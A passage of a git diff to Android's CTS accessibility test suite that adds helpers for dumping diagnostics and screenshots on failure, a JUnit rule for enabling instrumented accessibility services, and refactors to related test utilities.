+    @Override
+    protected void starting(Description description) {
+        AccessibilityDumper.getInstance().setName(getTestNameFrom(description));
+    }
+
+    @Override
+    protected void failed(Throwable t, Description description) {
+        AccessibilityDumper.getInstance().dump();
+    }
+
+    private String getTestNameFrom(Description description) {
+        return description.getTestClass().getSimpleName()
+                + "_" + description.getMethodName();
+    }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java
new file mode 100644
index 0000000..6fbd95a6
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumper.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import static android.accessibilityservice.AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+import static android.app.UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.app.UiAutomation;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Environment;
+import android.support.test.uiautomator.Configurator;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+
+import com.android.compatibility.common.util.BitmapUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.time.LocalTime;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Helper class to dump data for accessibility test cases.
+ *
+ * It can dump {@code dumpsys accessibility}, accessibility node tree to logcat and/or
+ * screenshot for inspect later.
+ */
+public class AccessibilityDumper {
+    private static final String TAG = "AccessibilityDumper";
+
+    /** Dump flag to write the output of {@code dumpsys accessibility} to logcat. */
+    public static final int FLAG_DUMPSYS = 0x1;
+
+    /** Dump flag to write the output of {@code uiautomator dump} to logcat. */
+    public static final int FLAG_HIERARCHY = 0x2;
+
+    /** Dump flag to save the screenshot to external storage. */
+    public static final int FLAG_SCREENSHOT = 0x4;
+
+    /** Dump flag to write the tree of accessility node info to logcat. */
+    public static final int FLAG_NODETREE = 0x8;
+
+    /** Default dump flag */
+    public static final int FLAG_DUMP_ALL = FLAG_DUMPSYS | FLAG_HIERARCHY | FLAG_SCREENSHOT;
+
+    private static AccessibilityDumper sDumper;
+
+    private int mFlag;
+
+    /** Screenshot filename */
+    private String mName;
+
+    /** Root directory matching the directory-key of collector in AndroidTest.xml */
+    private File mRoot;
+
+    public static synchronized AccessibilityDumper getInstance() {
+        if (sDumper == null) {
+            sDumper = new AccessibilityDumper(FLAG_DUMP_ALL);
+        }
+        return sDumper;
+    }
+
+    /**
+     * Define the directory to dump/clean and initial dump options
+     *
+     * @param flag control what to dump
+     */
+    private AccessibilityDumper(int flag) {
+        mRoot = getDumpRoot(getContext().getPackageName());
+        mFlag = flag;
+    }
+
+    public void dump(int flag) {
+        final UiAutomation automation = getUiAutomation();
+
+        if ((flag & FLAG_DUMPSYS) != 0) {
+            dumpsysOnLogcat(automation);
+        }
+        if ((flag & FLAG_HIERARCHY) != 0) {
+            dumpHierarchyOnLogcat();
+        }
+        if ((flag & FLAG_SCREENSHOT) != 0) {
+            dumpScreen(automation);
+        }
+        if ((flag & FLAG_NODETREE) != 0) {
+            dumpAccessibilityNodeTreeOnLogcat(automation);
+        }
+    }
+
+    void dump() {
+        dump(mFlag);
+    }
+
+    void setName(String name) {
+        assertNotEmpty(name);
+        mName = name;
+    }
+
+    private File getDumpRoot(String directory) {
+        return new File(Environment.getExternalStorageDirectory(), directory);
+    }
+
+    private void dumpsysOnLogcat(UiAutomation automation) {
+        ShellCommandBuilder.create(automation)
+            .addCommandPrintOnLogCat("dumpsys accessibility")
+            .run();
+    }
+
+    private void dumpHierarchyOnLogcat() {
+        try(ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+            UiDevice.getInstance(getInstrumentation()).dumpWindowHierarchy(os);
+            Log.w(TAG, "Window hierarchy:");
+            for (String line : os.toString("UTF-8").split("\\n")) {
+                Log.w(TAG, line);
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "ERROR: unable to dumping hierarchy on logcat", e);
+        }
+    }
+
+    private void dumpScreen(UiAutomation automation) {
+        assertNotEmpty(mName);
+        final Bitmap screenshot = automation.takeScreenshot();
+        final String filename = String.format("%s_%s__screenshot.png", mName, LocalTime.now());
+        BitmapUtils.saveBitmap(screenshot, mRoot.toString(), filename);
+    }
+
+    /** Dump hierarchy compactly and include nodes not visible to user */
+    private void dumpAccessibilityNodeTreeOnLogcat(UiAutomation automation) {
+        final Set<AccessibilityNodeInfo> roots = new HashSet<>();
+        for (AccessibilityWindowInfo window : automation.getWindows()) {
+            AccessibilityNodeInfo root = window.getRoot();
+            if (root == null) {
+                Log.w(TAG, String.format("Skipping null root node for window: %s",
+                        window.toString()));
+            } else {
+                roots.add(root);
+            }
+        }
+        if (roots.isEmpty()) {
+            Log.w(TAG, "No node of windows to dump");
+        } else {
+            Log.w(TAG, "Accessibility nodes hierarchy:");
+            for (AccessibilityNodeInfo root : roots) {
+                dumpTreeWithPrefix(root, "");
+            }
+        }
+    }
+
+    private static void dumpTreeWithPrefix(AccessibilityNodeInfo node, String prefix) {
+        final StringBuilder nodeText = new StringBuilder(prefix);
+        appendNodeText(nodeText, node);
+        Log.v(TAG, nodeText.toString());
+        final int count = node.getChildCount();
+        for (int i = 0; i < count; i++) {
+            AccessibilityNodeInfo child = node.getChild(i);
+            if (child != null) {
+                dumpTreeWithPrefix(child, "-" + prefix);
+            } else {
+                Log.i(TAG, String.format("%sNull child %d/%d", prefix, i, count));
+            }
+        }
+    }
+
+    private static void appendNodeText(StringBuilder out, AccessibilityNodeInfo node) {
+        final CharSequence txt = node.getText();
+        final CharSequence description = node.getContentDescription();
+        final String viewId = node.getViewIdResourceName();
+
+        if (!TextUtils.isEmpty(description)) {
+            out.append(escape(description));
+        } else if (!TextUtils.isEmpty(txt)) {
+            out.append('"').append(escape(txt)).append('"');
+        }
+        if (!TextUtils.isEmpty(viewId)) {
+            out.append("(").append(viewId).append(")");
+        }
+        out.append("+").append(node.getClassName());
+        out.append("+ \t<");
+        out.append(node.isCheckable()       ? "C" : ".");
+        out.append(node.isChecked()         ? "c" : ".");
+        out.append(node.isClickable()       ? "K" : ".");
+        out.append(node.isEnabled()         ? "E" : ".");
+        out.append(node.isFocusable()       ? "F" : ".");
+        out.append(node.isFocused()         ? "f" : ".");
+        out.append(node.isLongClickable()   ? "L" : ".");
+        out.append(node.isPassword()        ? "P" : ".");
+        out.append(node.isScrollable()      ? "S" : ".");
+        out.append(node.isSelected()        ? "s" : ".");
+        out.append(node.isVisibleToUser()   ? "V" : ".");
+        out.append("> ");
+        final Rect bounds = new Rect();
+        node.getBoundsInScreen(bounds);
+        out.append(bounds.toShortString());
+    }
+
+    /**
+     * Produce a displayable string from a CharSequence
+     */
+    private static String escape(CharSequence s) {
+        final StringBuilder out = new StringBuilder();
+        for (int i = 0; i < s.length(); i++) {
+            char c = s.charAt(i);
+            if ((c < 127) || (c == 0xa0) || ((c >= 0x2000) && (c < 0x2070))) {
+                out.append(c);
+            } else {
+                out.append("\\u").append(Integer.toHexString(c));
+            }
+        }
+        return out.toString();
+    }
+
+    private void assertNotEmpty(String name) {
+        assertFalse("Expected non empty name.", TextUtils.isEmpty(name));
+    }
+
+    private UiAutomation getUiAutomation() {
+        // Reuse UiAutomation from UiAutomator with the same flag
+        Configurator.getInstance().setUiAutomationFlags(
+                FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        final UiAutomation automation = getInstrumentation().getUiAutomation(
+                FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        // Dump window info & node tree
+        final AccessibilityServiceInfo info = automation.getServiceInfo();
+        if (info != null && ((info.flags & FLAG_RETRIEVE_INTERACTIVE_WINDOWS) == 0)) {
+            info.flags |= FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+            automation.setServiceInfo(info);
+        }
+        return automation;
+    }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
index 3f9a344..09af2ee 100644
--- a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityService.java
@@ -35,6 +35,7 @@
 import android.view.accessibility.AccessibilityManager;
 
 import androidx.annotation.CallSuper;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import java.lang.ref.WeakReference;
 import java.util.HashMap;
@@ -52,7 +53,7 @@
 
     // Match com.android.server.accessibility.AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
     private static final String COMPONENT_NAME_SEPARATOR = ":";
-    private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 5000;
+    private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 10000;
 
     private static final HashMap<Class, WeakReference<InstrumentedAccessibilityService>>
             sInstances = new HashMap<>();
@@ -119,13 +120,14 @@
     public <T extends Object> T getOnService(Callable<T> callable) {
         AtomicReference<T> returnValue = new AtomicReference<>(null);
         AtomicReference<Throwable> throwable = new AtomicReference<>(null);
-        runOnServiceSync(() -> {
-            try {
-                returnValue.set(callable.call());
-            } catch (Throwable e) {
-                throwable.set(e);
-            }
-        });
+        runOnServiceSync(
+                () -> {
+                    try {
+                        returnValue.set(callable.call());
+                    } catch (Throwable e) {
+                        throwable.set(e);
+                    }
+                });
         if (throwable.get() != null) {
             throw new RuntimeException(throwable.get());
         }
@@ -167,24 +169,27 @@
     }
 
     public static <T extends InstrumentedAccessibilityService> T enableService(
-            Instrumentation instrumentation, Class<T> clazz) {
+            Class<T> clazz) {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final String serviceName = clazz.getSimpleName();
         final Context context = instrumentation.getContext();
-        final String enabledServices = Settings.Secure.getString(
-                context.getContentResolver(),
-                Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+        final String enabledServices =
+                Settings.Secure.getString(
+                        context.getContentResolver(),
+                        Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
         if (enabledServices != null) {
             assertFalse("Service is already enabled", enabledServices.contains(serviceName));
         }
-        final AccessibilityManager manager = (AccessibilityManager) context.getSystemService(
-                Context.ACCESSIBILITY_SERVICE);
+        final AccessibilityManager manager =
+                (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
         final List<AccessibilityServiceInfo> serviceInfos =
                 manager.getInstalledAccessibilityServiceList();
         for (AccessibilityServiceInfo serviceInfo : serviceInfos) {
             final String serviceId = serviceInfo.getId();
             if (serviceId.endsWith(serviceName)) {
                 ShellCommandBuilder.create(instrumentation)
-                        .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+                        .putSecureSetting(
+                                Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
                                 enabledServices + COMPONENT_NAME_SEPARATOR + serviceId)
                         .putSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED, "1")
                         .run();
@@ -192,11 +197,15 @@
                 final T instance = getInstanceForClass(clazz, TIMEOUT_SERVICE_ENABLE);
                 if (instance == null) {
                     ShellCommandBuilder.create(instrumentation)
-                            .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
-                                    enabledServices)
+                            .putSecureSetting(
+                                    Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES, enabledServices)
                             .run();
-                    throw new RuntimeException("Starting accessibility service " + serviceName
-                            + " took longer than " + TIMEOUT_SERVICE_ENABLE + "ms");
+                    throw new RuntimeException(
+                            "Starting accessibility service "
+                                    + serviceName
+                                    + " took longer than "
+                                    + TIMEOUT_SERVICE_ENABLE
+                                    + "ms");
                 }
                 return instance;
             }
@@ -204,19 +213,14 @@
         throw new RuntimeException("Accessibility service " + serviceName + " not found");
     }
 
-    public static <T extends InstrumentedAccessibilityService> T getInstanceForClass(Class clazz,
-            long timeoutMillis) {
+    public static <T extends InstrumentedAccessibilityService> T getInstanceForClass(
+            Class<T> clazz, long timeoutMillis) {
         final long timeoutTimeMillis = SystemClock.uptimeMillis() + timeoutMillis;
         while (SystemClock.uptimeMillis() < timeoutTimeMillis) {
             synchronized (sInstances) {
-                final WeakReference<InstrumentedAccessibilityService> ref = sInstances.get(clazz);
-                if (ref != null) {
-                    final T instance = (T) ref.get();
-                    if (instance == null) {
-                        sInstances.remove(clazz);
-                    } else {
-                        return instance;
-                    }
+                final T instance = getInstanceForClass(clazz);
+                if (instance != null) {
+                    return instance;
                 }
                 try {
                     sInstances.wait(timeoutTimeMillis - SystemClock.uptimeMillis());
@@ -228,19 +232,37 @@
         return null;
     }
 
-    public static void disableAllServices(Instrumentation instrumentation) {
+    static <T extends InstrumentedAccessibilityService> T getInstanceForClass(
+            Class<T> clazz) {
+        synchronized (sInstances) {
+            final WeakReference<InstrumentedAccessibilityService> ref = sInstances.get(clazz);
+            if (ref != null) {
+                final T instance = (T) ref.get();
+                if (instance == null) {
+                    sInstances.remove(clazz);
+                } else {
+                    return instance;
+                }
+            }
+        }
+        return null;
+    }
+
+    public static void disableAllServices() {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         final Object waitLockForA11yOff = new Object();
         final Context context = instrumentation.getContext();
         final AccessibilityManager manager =
                 (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
         // Updates to manager.isEnabled() aren't synchronized
         final AtomicBoolean accessibilityEnabled = new AtomicBoolean(manager.isEnabled());
-        manager.addAccessibilityStateChangeListener(b -> {
-            synchronized (waitLockForA11yOff) {
-                waitLockForA11yOff.notifyAll();
-                accessibilityEnabled.set(b);
-            }
-        });
+        manager.addAccessibilityStateChangeListener(
+                b -> {
+                    synchronized (waitLockForA11yOff) {
+                        waitLockForA11yOff.notifyAll();
+                        accessibilityEnabled.set(b);
+                    }
+                });
         final UiAutomation uiAutomation = instrumentation.getUiAutomation(
                 UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         ShellCommandBuilder.create(uiAutomation)
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java
new file mode 100644
index 0000000..1684dbb
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/InstrumentedAccessibilityServiceTestRule.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * A JUnit rule that provides a simplified mechanism to enable and disable {@link
+ * InstrumentedAccessibilityService} before and after the duration of your test. It will
+ * automatically be disabled after the test completes and any methods annotated with
+ * <a href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+ * are finished.
+ *
+ * <p>Usage:
+ *
+ * <pre>
+ * &#064;Rule
+ * public final InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+ *         mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ *                 InstrumentedAccessibilityService.class, false);
+ *
+ * &#064;Test
+ * public void testWithEnabledAccessibilityService() {
+ *     MyService service = mServiceRule.enableService();
+ *     //do something
+ *     assertTrue("True wasn't returned", service.doSomethingToReturnTrue());
+ * }
+ * </pre>
+ *
+ * @param <T> The instrumented accessibility service class under test
+ */
+public class InstrumentedAccessibilityServiceTestRule<T extends InstrumentedAccessibilityService>
+        implements TestRule {
+
+    private static final String TAG = "InstrA11yServiceTestRule";
+
+    private final Class<T> mAccessibilityServiceClass;
+
+    private final boolean mEnableService;
+
+    /**
+     * Creates a {@link InstrumentedAccessibilityServiceTestRule} with the specified class of
+     * instrumented accessibility service and enable the service automatically.
+     *
+     * @param clazz The instrumented accessibility service under test. This must be a class in the
+     *     instrumentation targetPackage specified in the AndroidManifest.xml
+     */
+    public InstrumentedAccessibilityServiceTestRule(@NonNull Class<T> clazz) {
+        this(clazz, true);
+    }
+
+    /**
+     * Creates a {@link InstrumentedAccessibilityServiceTestRule} with the specified class of
+     * instrumented accessibility service, and enable the service automatically or not according to
+     * given {@code enableService}.
+     *
+     * @param clazz The instrumented accessibility service under test. This must be a class in the
+     *     instrumentation targetPackage specified in the AndroidManifest.xml
+     * @param enableService true if the service should be enabled once per <a
+     *     href="http://junit.org/javadoc/latest/org/junit/Test.html"><code>Test</code></a> method.
+     *     It will be enabled before the first <a
+     *     href="http://junit.sourceforge.net/javadoc/org/junit/Before.html"><code>Before</code></a>
+     *     method, and terminated after the last <a
+     *     href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+     *     method.
+     */
+    public InstrumentedAccessibilityServiceTestRule(@NonNull Class<T> clazz,
+            boolean enableService) {
+        mAccessibilityServiceClass = clazz;
+        mEnableService = enableService;
+    }
+
+    /**
+     * Enable the instrumented accessibility service under test.
+     *
+     * <p>Don't call this method directly, unless you explicitly requested not to lazily enable the
+     * service manually using the enableService flag in {@link
+     * #InstrumentedAccessibilityServiceTestRule(Class, boolean)}.
+     *
+     * <p>Usage:
+     *
+     * <pre>
+     *    &#064;Test
+     *    public void enableAccessibilityService() {
+     *        service = mServiceRule.enableService();
+     *    }
+     * </pre>
+     *
+     * @return the instrumented accessibility service enabled by this rule.
+     */
+    @NonNull
+    public T enableService() {
+        return InstrumentedAccessibilityService.enableService(mAccessibilityServiceClass);
+    }
+
+    /**
+     * Override this method to do your own service specific clean up or shutdown.
+     * The method is called after each test method is executed including any method annotated with
+     * <a href="http://junit.sourceforge.net/javadoc/org/junit/After.html"><code>After</code></a>
+     * and after necessary calls to stop (or unbind) the service under test were called.
+     */
+    protected void disableService() {
+        callFinishOnServiceSync();
+    }
+
+    /**
+     * Returns the reference to the instrumented accessibility service instance.
+     *
+     * <p>If the service wasn't enabled yet or already disabled, {@code null} will be returned.
+     */
+    @Nullable
+    public T getService() {
+        final T instance = InstrumentedAccessibilityService.getInstanceForClass(
+                mAccessibilityServiceClass,
+                InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE);
+        if (instance == null) {
+            Log.i(TAG, String.format(
+                    "Accessibility service %s wasn't enabled yet or already disabled",
+                    mAccessibilityServiceClass.getSimpleName()));
+        }
+        return instance;
+    }
+
+    private void callFinishOnServiceSync() {
+        final T service = InstrumentedAccessibilityService.getInstanceForClass(
+                mAccessibilityServiceClass);
+        if (service != null) {
+            service.runOnServiceSync(service::disableSelfAndRemove);
+        }
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new ServiceStatement(base);
+    }
+
+    /**
+     * {@link Statement} that executes the service lifecycle methods before and after the execution
+     * of the test.
+     */
+    private class ServiceStatement extends Statement {
+        private final Statement base;
+
+        public ServiceStatement(Statement base) {
+            this.base = base;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            try {
+                if (mEnableService) {
+                    enableService();
+                }
+                base.evaluate();
+            } finally {
+                disableService();
+            }
+        }
+    }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java b/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java
new file mode 100644
index 0000000..067e37b
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/ServiceControlUtils.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibility.cts.common;
+
+import static com.android.compatibility.common.util.TestUtils.waitOn;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.provider.Settings;
+import android.view.accessibility.AccessibilityManager;
+
+import java.util.function.BooleanSupplier;
+
+/**
+ * Utility methods for enabling and disabling the services used in this package
+ */
+public class ServiceControlUtils {
+
+    public static String getEnabledServices(ContentResolver cr) {
+        return Settings.Secure.getString(cr, Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+    }
+
+    /**
+     * Wait for a specified condition that will change with a services state change
+     *
+     * @param context A valid context
+     * @param condition The condition to check
+     * @param timeoutMs The timeout in millis
+     * @param conditionName The name to include in the assertion. If null, will be given a default.
+     */
+    public static void waitForConditionWithServiceStateChange(Context context,
+            BooleanSupplier condition, long timeoutMs, String conditionName) {
+        AccessibilityManager manager =
+                (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
+        Object lock = new Object();
+        AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
+            synchronized (lock) {
+                lock.notifyAll();
+            }
+        };
+        manager.addAccessibilityServicesStateChangeListener(listener, null);
+        try {
+            waitOn(lock, condition, timeoutMs, conditionName);
+        } finally {
+            manager.removeAccessibilityServicesStateChangeListener(listener);
+        }
+    }
+}
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java b/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
index c305ceb..cfeb1fd 100644
--- a/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/ShellCommandBuilder.java
@@ -21,6 +21,8 @@
 import android.os.ParcelFileDescriptor;
 import android.util.Log;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -88,6 +90,25 @@
         return this;
     }
 
+    public ShellCommandBuilder addCommandPrintOnLogCat(String command) {
+        mCommands.add(() -> {
+            execShellCommandAndPrintOnLogcat(mUiAutomation, command);
+        });
+        return this;
+    }
+
+    public static void execShellCommandAndPrintOnLogcat(UiAutomation automation, String command) {
+        Log.i(LOG_TAG, "command [" + command + "]");
+        try {
+            final String output = SystemUtil.runShellCommand(automation, command);
+            for (String line : output.split("\\n", -1)) {
+                Log.i(LOG_TAG, line);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to exec shell command [" + command + "]", e);
+        }
+    }
+
     public static void execShellCommand(UiAutomation automation, String command) {
         Log.i(LOG_TAG, "command [" + command + "]");
         try (ParcelFileDescriptor fd = automation.executeShellCommand(command)) {
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index 249c381..339245a 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -16,7 +16,7 @@
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
     android:accessibilityEventTypes="typeAllMask"
     android:accessibilityFeedbackType="feedbackSpoken"
-    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents|flagRequestShortcutWarningDialogSpokenFeedback"
+    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents|flagRequestShortcutWarningDialogSpokenFeedback|flagHandleShortcut"
     android:canRetrieveWindowContent="true"
     android:canRequestTouchExplorationMode="true"
     android:canRequestFilterKeyEvents="true"
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java
new file mode 100644
index 0000000..3edced3
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityActionTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+
+import android.os.Parcel;
+import android.platform.test.annotations.Presubmit;
+import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Class for testing {@link AccessibilityAction}.
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class AccessibilityActionTest {
+    private static final int ACTION_ID = 0x11100100;
+    private static final String LABEL = "label";
+
+    /**
+     * Tests parcelling of the class.
+     */
+    @Test
+    public void testParcel() {
+        AccessibilityAction systemAction =
+                new AccessibilityAction(ACTION_ID, LABEL);
+
+        final Parcel parcel = Parcel.obtain();
+        systemAction.writeToParcel(parcel, systemAction.describeContents());
+        parcel.setDataPosition(0);
+        AccessibilityAction result =
+                AccessibilityAction.CREATOR.createFromParcel(parcel);
+
+        assertEquals(ACTION_ID, result.getId());
+        assertEquals(LABEL, result.getLabel());
+    }
+
+    /**
+     * Tests constructor of the class.
+     */
+    @Test
+    public void testConstructor() {
+        AccessibilityAction systemAction =
+                new AccessibilityAction(ACTION_ID, LABEL);
+
+        assertEquals(ACTION_ID, systemAction.getId());
+        assertEquals(LABEL, systemAction.getLabel());
+    }
+
+}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
index fcc4f6e..d147b83 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityDelegateTest.java
@@ -22,6 +22,7 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.verify;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.View;
@@ -36,6 +37,7 @@
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
 /**
@@ -47,10 +49,18 @@
     private LinearLayout mParentView;
     private View mChildView;
 
-    @Rule
-    public ActivityTestRule<DummyActivity> mActivityRule =
+    private ActivityTestRule<DummyActivity> mActivityRule =
             new ActivityTestRule<>(DummyActivity.class, false, false);
 
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            // Inner rule capture failure and dump data before finishing activity
+            .around(mDumpOnFailureRule);
+
     @Before
     public void setUp() throws Exception {
         Activity activity = mActivityRule.launchActivity(null);
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
index 509092f..b140f37 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java
@@ -16,27 +16,45 @@
 
 package android.view.accessibility.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.os.Message;
 import android.os.Parcel;
 import android.platform.test.annotations.Presubmit;
-import android.test.suitebuilder.annotation.SmallTest;
 import android.text.TextUtils;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 import android.view.accessibility.AccessibilityRecord;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.TestCase;
 
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Class for testing {@link AccessibilityEvent}.
  */
 @Presubmit
